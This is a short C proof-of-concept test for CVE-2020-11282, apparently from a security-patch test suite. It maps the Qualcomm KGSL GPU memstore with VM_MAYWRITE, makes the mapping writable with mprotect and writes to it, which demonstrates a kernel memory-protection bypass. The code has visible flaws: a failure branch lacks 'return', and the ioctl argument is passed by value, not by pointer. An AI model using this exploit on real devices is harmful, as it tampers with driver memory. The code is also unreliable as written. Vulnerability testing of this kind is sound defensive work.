/*
 * CVE-2020-11282
 */

#include "../includes/common.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define VM_MAYWRITE 0x00000020
#define KGSL_IOC_TYPE 0x09
#define KGSL_PROP_DEVICE_SHADOW 0x2

#define IOCTL_KGSL_DEVICE_GETPROPERTY \
  _IOWR(KGSL_IOC_TYPE, 0x2, struct kgsl_device_getproperty)

struct kgsl_device_getproperty {
  unsigned int type;
  void __user *value;
  size_t sizebytes;
};

struct kgsl_shadowprop {
  unsigned long gpuaddr;
  size_t size;
  unsigned int flags; /* contains KGSL_FLAGS_ values */
};

int main() {
  int x;
  int y;
  struct kgsl_device_getproperty param;
  struct kgsl_shadowprop shadowprop;
  int kgsl_fd;

  kgsl_fd = open("/dev/kgsl-3d0", 0);
  if (kgsl_fd < 0) {
    EXIT_FAILURE;
  }
  param.type = KGSL_PROP_DEVICE_SHADOW;
  param.value = &shadowprop;
  param.sizebytes = sizeof(shadowprop);

  if (ioctl(kgsl_fd, IOCTL_KGSL_DEVICE_GETPROPERTY, param) < 0) {
    return EXIT_FAILURE;
  }

  // validity checking that mmap of memstore with PROT_WRITE is blocked
  uint8_t *mmapped = mmap(NULL, shadowprop.size, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE, kgsl_fd, shadowprop.gpuaddr);
  FAIL_CHECK(!(mmapped != MAP_FAILED));

  mmapped = mmap(NULL, shadowprop.size, PROT_READ | VM_MAYWRITE, MAP_PRIVATE,
                 kgsl_fd, shadowprop.gpuaddr);

  FAIL_CHECK(!(mmapped == MAP_FAILED));

  if (mprotect(mmapped, shadowprop.size, PROT_READ | PROT_WRITE)) {
    return EXIT_FAILURE;
  }

  x = mmapped[0];
  mmapped[0] = 0xFF;
  y = mmapped[0];

  return (x == 0 && y == 255) ? EXIT_VULNERABLE : EXIT_SUCCESS;
}
